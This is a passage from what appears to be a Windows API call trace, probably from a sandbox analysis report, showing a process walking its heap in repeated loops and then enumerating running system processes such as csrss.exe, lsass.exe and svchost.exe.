GetCurrentThreadId () returned 0x9b0 [0080.301] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0080.301] Heap32Next (lphe=0x9ba388) returned 1 [0080.314] GetTickCount () returned 0x29e1a [0080.322] GetCurrentThreadId () returned 0x9b0 [0080.322] GetCurrentThreadId () returned 0x9b0 [0080.322] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b28 | out: hHeap=0x2ad0000) returned 1 [0080.322] Heap32Next (lphe=0x9ba388) returned 1 [0080.335] GetTickCount () returned 0x29e2a [0080.336] GetCurrentThreadId () returned 0x9b0 [0080.336] GetCurrentThreadId () returned 0x9b0 [0080.336] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0080.336] Heap32Next (lphe=0x9ba388) returned 1 [0080.349] GetTickCount () returned 0x29e3a [0080.349] GetCurrentThreadId () returned 0x9b0 [0080.349] GetCurrentThreadId () returned 0x9b0 [0080.349] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0080.349] Heap32Next (lphe=0x9ba388) returned 1 [0080.362] GetTickCount () returned 0x29e49 [0080.362] GetCurrentThreadId () returned 0x9b0 [0080.362] GetCurrentThreadId () returned 0x9b0 [0080.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19428 | out: hHeap=0x2ad0000) returned 1 [0080.362] Heap32Next (lphe=0x9ba388) returned 1 [0080.375] GetTickCount () returned 0x29e49 [0080.375] GetCurrentThreadId () returned 0x9b0 [0080.375] GetCurrentThreadId () returned 0x9b0 [0080.375] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0080.375] Heap32Next (lphe=0x9ba388) returned 1 [0080.388] GetTickCount () returned 0x29e59 [0080.388] GetCurrentThreadId () returned 0x9b0 [0080.388] GetCurrentThreadId () returned 0x9b0 [0080.388] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19428 | out: hHeap=0x2ad0000) returned 1 [0080.388] Heap32Next (lphe=0x9ba388) returned 1 [0080.401] GetTickCount () returned 0x29e69 [0080.401] GetCurrentThreadId () returned 0x9b0 [0080.401] GetCurrentThreadId () returned 0x9b0 [0080.401] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0080.401] Heap32Next (lphe=0x9ba388) returned 1 [0080.414] GetTickCount () returned 0x29e78 [0080.414] GetCurrentThreadId () returned 0x9b0 [0080.414] GetCurrentThreadId () returned 0x9b0 [0080.415] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19818 | out: hHeap=0x2ad0000) returned 1 [0080.415] Heap32Next (lphe=0x9ba388) returned 1 [0080.428] GetTickCount () returned 0x29e88 [0080.428] GetCurrentThreadId () returned 0x9b0 [0080.428] GetCurrentThreadId () returned 0x9b0 [0080.428] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19888 | out: hHeap=0x2ad0000) returned 1 [0080.428] Heap32Next (lphe=0x9ba388) returned 1 [0080.441] GetTickCount () returned 0x29e97 [0080.441] GetCurrentThreadId () returned 0x9b0 [0080.441] GetCurrentThreadId () returned 0x9b0 [0080.441] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0080.441] Heap32Next (lphe=0x9ba388) returned 1 [0080.454] GetTickCount () returned 0x29e97 [0080.454] GetCurrentThreadId () returned 0x9b0 [0080.454] GetCurrentThreadId () returned 0x9b0 [0080.454] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0080.454] Heap32Next (lphe=0x9ba388) returned 1 [0080.467] GetTickCount () returned 0x29ea7 [0080.467] GetCurrentThreadId () returned 0x9b0 [0080.467] GetCurrentThreadId () returned 0x9b0 [0080.467] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a195e8 | out: hHeap=0x2ad0000) returned 1 [0080.467] Heap32Next (lphe=0x9ba388) returned 1 [0080.480] GetTickCount () returned 0x29eb7 [0080.480] GetCurrentThreadId () returned 0x9b0 [0080.480] GetCurrentThreadId () returned 0x9b0 [0080.481] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0080.481] Heap32Next (lphe=0x9ba388) returned 1 [0080.493] GetTickCount () returned 0x29ec6 [0080.493] GetCurrentThreadId () returned 0x9b0 [0080.494] GetCurrentThreadId () returned 0x9b0 [0080.494] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0080.494] Heap32Next (lphe=0x9ba388) returned 1 [0080.507] GetTickCount () returned 0x29ed6 [0080.507] GetCurrentThreadId () returned 0x9b0 [0080.507] GetCurrentThreadId () returned 0x9b0 [0080.507] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19818 | out: hHeap=0x2ad0000) returned 1 [0080.507] Heap32Next (lphe=0x9ba388) returned 1 [0080.520] GetTickCount () returned 0x29ee6 [0080.520] GetCurrentThreadId () returned 0x9b0 [0080.520] GetCurrentThreadId () returned 0x9b0 [0080.520] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0080.520] Heap32Next (lphe=0x9ba388) returned 1 [0080.533] GetTickCount () returned 0x29ef5 [0080.533] GetCurrentThreadId () returned 0x9b0 [0080.533] GetCurrentThreadId () returned 0x9b0 [0080.533] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19508 | out: hHeap=0x2ad0000) returned 1 [0080.533] Heap32Next (lphe=0x9ba388) returned 1 [0080.546] GetTickCount () returned 0x29ef5 [0080.546] GetCurrentThreadId () returned 0x9b0 [0080.546] GetCurrentThreadId () returned 0x9b0 [0080.546] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a195e8 | out: hHeap=0x2ad0000) returned 1 [0080.546] Heap32Next (lphe=0x9ba388) returned 1 [0080.559] GetTickCount () returned 0x29f05 [0080.559] GetCurrentThreadId () returned 0x9b0 [0080.559] GetCurrentThreadId () returned 0x9b0 [0080.559] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b28 | out: hHeap=0x2ad0000) returned 1 [0080.559] Heap32Next (lphe=0x9ba388) returned 1 [0080.572] GetTickCount () returned 0x29f14 [0080.572] GetCurrentThreadId () returned 0x9b0 [0080.572] GetCurrentThreadId () returned 0x9b0 [0080.572] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0080.572] Heap32Next (lphe=0x9ba388) returned 1 [0080.586] GetTickCount () returned 0x29f24 [0080.586] GetCurrentThreadId () returned 0x9b0 [0080.586] GetCurrentThreadId () returned 0x9b0 [0080.586] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0080.586] Heap32Next (lphe=0x9ba388) returned 1 [0080.598] GetTickCount () returned 0x29f34 [0080.599] GetCurrentThreadId () returned 0x9b0 [0080.599] GetCurrentThreadId () returned 0x9b0 [0080.599] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19888 | out: hHeap=0x2ad0000) returned 1 [0080.599] Heap32Next (lphe=0x9ba388) returned 1 [0080.612] GetTickCount () returned 0x29f43 [0080.612] GetCurrentThreadId () returned 0x9b0 [0080.612] GetCurrentThreadId () returned 0x9b0 [0080.612] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b98 | out: hHeap=0x2ad0000) returned 1 [0080.612] Heap32Next (lphe=0x9ba388) returned 1 [0080.625] GetTickCount () returned 0x29f43 [0080.625] GetCurrentThreadId () returned 0x9b0 [0080.625] GetCurrentThreadId () returned 0x9b0 [0080.625] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0080.625] Heap32Next (lphe=0x9ba388) returned 1 [0080.638] GetTickCount () returned 0x29f53 [0080.638] GetCurrentThreadId () returned 0x9b0 [0080.638] GetCurrentThreadId () returned 0x9b0 [0080.638] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0080.638] Heap32Next (lphe=0x9ba388) returned 1 [0080.651] GetTickCount () returned 0x29f63 [0080.651] GetCurrentThreadId () returned 0x9b0 [0080.651] GetCurrentThreadId () returned 0x9b0 [0080.651] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0080.651] Heap32Next (lphe=0x9ba388) returned 1 [0080.664] GetTickCount () returned 0x29f72 [0080.664] GetCurrentThreadId () returned 0x9b0 [0080.664] GetCurrentThreadId () returned 0x9b0 [0080.664] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19818 | out: hHeap=0x2ad0000) returned 1 [0080.664] Heap32Next (lphe=0x9ba388) returned 1 [0080.679] GetTickCount () returned 0x29f82 [0080.679] GetCurrentThreadId () returned 0x9b0 [0080.679] GetCurrentThreadId () returned 0x9b0 [0080.679] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a195e8 | out: hHeap=0x2ad0000) returned 1 [0080.679] Heap32Next (lphe=0x9ba388) returned 1 [0080.692] GetTickCount () returned 0x29f91 [0080.692] GetCurrentThreadId () returned 0x9b0 [0080.692] GetCurrentThreadId () returned 0x9b0 [0080.692] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0080.692] Heap32Next (lphe=0x9ba388) returned 1 [0080.705] GetTickCount () returned 0x29f91 [0080.705] GetCurrentThreadId () returned 0x9b0 [0080.705] GetCurrentThreadId () returned 0x9b0 [0080.705] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a195e8 | out: hHeap=0x2ad0000) returned 1 [0080.705] Heap32Next (lphe=0x9ba388) returned 1 [0080.718] GetTickCount () returned 0x29fa1 [0080.718] GetCurrentThreadId () returned 0x9b0 [0080.718] GetCurrentThreadId () returned 0x9b0 [0080.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19508 | out: hHeap=0x2ad0000) returned 1 [0080.718] Heap32Next (lphe=0x9ba388) returned 1 [0080.731] GetTickCount () returned 0x29fb1 [0080.731] GetCurrentThreadId () returned 0x9b0 [0080.731] GetCurrentThreadId () returned 0x9b0 [0080.731] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19508 | out: hHeap=0x2ad0000) returned 1 [0080.731] Heap32Next (lphe=0x9ba388) returned 1 [0080.744] GetTickCount () returned 0x29fc0 [0080.744] GetCurrentThreadId () returned 0x9b0 [0080.744] GetCurrentThreadId () returned 0x9b0 [0080.744] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0080.744] Heap32Next (lphe=0x9ba388) returned 1 [0080.757] GetTickCount () returned 0x29fd0 [0080.757] GetCurrentThreadId () returned 0x9b0 [0080.757] GetCurrentThreadId () returned 0x9b0 [0080.757] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0080.757] Heap32Next (lphe=0x9ba388) returned 1 [0080.770] GetTickCount () returned 0x29fe0 [0080.770] GetCurrentThreadId () returned 0x9b0 [0080.770] GetCurrentThreadId () returned 0x9b0 [0080.770] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19508 | out: hHeap=0x2ad0000) returned 1 [0080.770] Heap32Next (lphe=0x9ba388) returned 1 [0080.783] GetTickCount () returned 0x29fe0 [0080.783] GetCurrentThreadId () returned 0x9b0 [0080.783] GetCurrentThreadId () returned 0x9b0 [0080.783] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0080.783] Heap32Next (lphe=0x9ba388) returned 1 [0080.796] GetTickCount () returned 0x29fef [0080.796] GetCurrentThreadId () returned 0x9b0 [0080.796] GetCurrentThreadId () returned 0x9b0 [0080.796] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19658 | out: hHeap=0x2ad0000) returned 1 [0080.796] Heap32Next (lphe=0x9ba388) returned 1 [0080.809] GetTickCount () returned 0x29fff [0080.809] GetCurrentThreadId () returned 0x9b0 [0080.809] GetCurrentThreadId () returned 0x9b0 [0080.809] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b28 | out: hHeap=0x2ad0000) returned 1 [0080.809] Heap32Next (lphe=0x9ba388) returned 1 [0080.822] GetTickCount () returned 0x2a00e [0080.822] GetCurrentThreadId () returned 0x9b0 [0080.822] GetCurrentThreadId () returned 0x9b0 [0080.822] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19428 | out: hHeap=0x2ad0000) returned 1 [0080.822] Heap32Next (lphe=0x9ba388) returned 1 [0080.835] GetTickCount () returned 0x2a01e [0080.835] GetCurrentThreadId () returned 0x9b0 [0080.836] GetCurrentThreadId () returned 0x9b0 [0080.836] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0080.836] Heap32Next (lphe=0x9ba388) returned 1 [0080.849] GetTickCount () returned 0x2a02e [0080.849] GetCurrentThreadId () returned 0x9b0 [0080.849] GetCurrentThreadId () returned 0x9b0 [0080.849] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0080.849] Heap32Next (lphe=0x9ba388) returned 1 [0080.862] GetTickCount () returned 0x2a03d [0080.862] GetCurrentThreadId () returned 0x9b0 [0080.862] GetCurrentThreadId () returned 0x9b0 [0080.862] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19428 | out: hHeap=0x2ad0000) returned 1 [0080.862] Heap32Next (lphe=0x9ba388) returned 1 [0080.875] GetTickCount () returned 0x2a03d [0080.875] GetCurrentThreadId () returned 0x9b0 [0080.875] GetCurrentThreadId () returned 0x9b0 [0080.875] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0080.875] Heap32Next (lphe=0x9ba388) returned 1 [0080.888] GetTickCount () returned 0x2a04d [0080.888] GetCurrentThreadId () returned 0x9b0 [0080.888] GetCurrentThreadId () returned 0x9b0 [0080.888] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0080.888] Heap32Next (lphe=0x9ba388) returned 1 [0080.900] GetTickCount () returned 0x2a05d [0080.900] GetCurrentThreadId () returned 0x9b0 [0080.901] GetCurrentThreadId () returned 0x9b0 [0080.901] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19888 | out: hHeap=0x2ad0000) returned 1 [0080.901] Heap32Next (lphe=0x9ba388) returned 1 [0080.913] GetTickCount () returned 0x2a06c [0080.913] GetCurrentThreadId () returned 0x9b0 [0080.914] GetCurrentThreadId () returned 0x9b0 [0080.914] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0080.914] Heap32Next (lphe=0x9ba388) returned 1 [0080.926] GetTickCount () returned 0x2a07c [0080.926] GetCurrentThreadId () returned 0x9b0 [0080.927] GetCurrentThreadId () returned 0x9b0 [0080.927] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0080.927] Heap32Next (lphe=0x9ba388) returned 1 [0080.941] GetTickCount () returned 0x2a08b [0080.941] GetCurrentThreadId () returned 0x9b0 [0080.941] GetCurrentThreadId () returned 0x9b0 [0080.941] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19428 | out: hHeap=0x2ad0000) returned 1 [0080.941] Heap32Next (lphe=0x9ba388) returned 1 [0080.954] GetTickCount () returned 0x2a08b [0080.954] GetCurrentThreadId () returned 0x9b0 [0080.954] GetCurrentThreadId () returned 0x9b0 [0080.954] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0080.954] Heap32Next (lphe=0x9ba388) returned 1 [0080.967] GetTickCount () returned 0x2a09b [0080.967] Heap32ListNext (hSnapshot=0x37c, lphl=0x9ba3c8) returned 1 [0080.968] GetTickCount () returned 0x2a09b [0080.968] GetTickCount () returned 0x2a09b [0080.968] Process32First (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0080.969] GetCurrentThreadId () returned 0x9b0 [0080.969] GetCurrentThreadId () returned 0x9b0 [0080.969] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0080.969] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0080.971] GetTickCount () returned 0x2a0ab [0080.971] GetCurrentThreadId () returned 0x9b0 [0080.971] GetCurrentThreadId () returned 0x9b0 [0080.971] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0080.971] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0080.972] GetTickCount () returned 0x2a0ab [0080.972] GetCurrentThreadId () returned 0x9b0 [0080.972] GetCurrentThreadId () returned 0x9b0 [0080.972] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0080.972] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0080.973] GetTickCount () returned 0x2a0ab [0080.973] GetCurrentThreadId () returned 0x9b0 [0080.974] GetCurrentThreadId () returned 0x9b0 [0080.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19428 | out: hHeap=0x2ad0000) returned 1 [0080.974] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0080.975] GetTickCount () returned 0x2a0ab [0080.975] GetCurrentThreadId () returned 0x9b0 [0080.975] GetCurrentThreadId () returned 0x9b0 [0080.975] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b28 | out: hHeap=0x2ad0000) returned 1 [0080.975] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0080.976] GetTickCount () returned 0x2a0ab [0080.976] GetCurrentThreadId () returned 0x9b0 [0080.976] GetCurrentThreadId () returned 0x9b0 [0080.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0080.976] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0080.977] GetTickCount () returned 0x2a0ab [0080.977] GetCurrentThreadId () returned 0x9b0 [0080.978] GetCurrentThreadId () returned 0x9b0 [0080.978] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a195e8 | out: hHeap=0x2ad0000) returned 1 [0080.978] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0080.979] GetTickCount () returned 0x2a0ab [0080.979] GetCurrentThreadId () returned 0x9b0 [0080.979] GetCurrentThreadId () returned 0x9b0 [0080.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0080.979] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0080.980] GetTickCount () returned 0x2a0ab [0080.980] GetCurrentThreadId () returned 0x9b0 [0080.980] GetCurrentThreadId () returned 0x9b0 [0080.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0080.980] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.981] GetTickCount () returned 0x2a0ab [0080.981] GetCurrentThreadId () returned 0x9b0 [0080.982] GetCurrentThreadId () returned 0x9b0 [0080.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0080.982] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0080.983] GetTickCount () returned 0x2a0ab [0080.983] GetCurrentThreadId () returned 0x9b0 [0080.983] GetCurrentThreadId () returned 0x9b0 [0080.983] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0080.983] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0080.984] GetTickCount () returned 0x2a0ab [0080.984] GetCurrentThreadId () returned 0x9b0 [0080.984] GetCurrentThreadId () returned 0x9b0 [0080.984] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0080.984] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.986] GetTickCount () returned 0x2a0ab [0080.986] GetCurrentThreadId () returned 0x9b0 [0080.986] GetCurrentThreadId () returned 0x9b0 [0080.986] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19818 | out: hHeap=0x2ad0000) returned 1 [0080.986] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0080.994] GetTickCount () returned 0x2a0ba [0080.994] GetCurrentThreadId () returned 0x9b0 [0080.994] GetCurrentThreadId () returned 0x9b0 [0080.994] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a195e8 | out: hHeap=0x2ad0000) returned 1 [0080.994] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.995] GetTickCount () returned 0x2a0ba [0080.995] GetCurrentThreadId () returned 0x9b0 [0080.995] GetCurrentThreadId () returned 0x9b0 [0080.995] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b28 | out: hHeap=0x2ad0000) returned 1 [0080.995] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.997] GetTickCount () returned 0x2a0ba [0080.997] GetCurrentThreadId () returned 0x9b0 [0080.997] GetCurrentThreadId () returned 0x9b0 [0080.997] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19818 | out: hHeap=0x2ad0000) returned 1 [0080.997] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.998] GetTickCount () returned 0x2a0ba [0080.998] GetCurrentThreadId () returned 0x9b0 [0080.998] GetCurrentThreadId () returned 0x9b0 [0080.998] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19508 | out: hHeap=0x2ad0000) returned 1 [0080.998] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.999] GetTickCount () returned 0x2a0ba [0080.999] GetCurrentThreadId () returned 0x9b0 [0080.999] GetCurrentThreadId () returned 0x9b0 [0080.999] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19428 | out: hHeap=0x2ad0000) returned 1 [0080.999] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.001] GetTickCount () returned 0x2a0ba [0081.001] GetCurrentThreadId () returned 0x9b0 [0081.001] GetCurrentThreadId () returned 0x9b0 [0081.001] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0081.001] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.002] 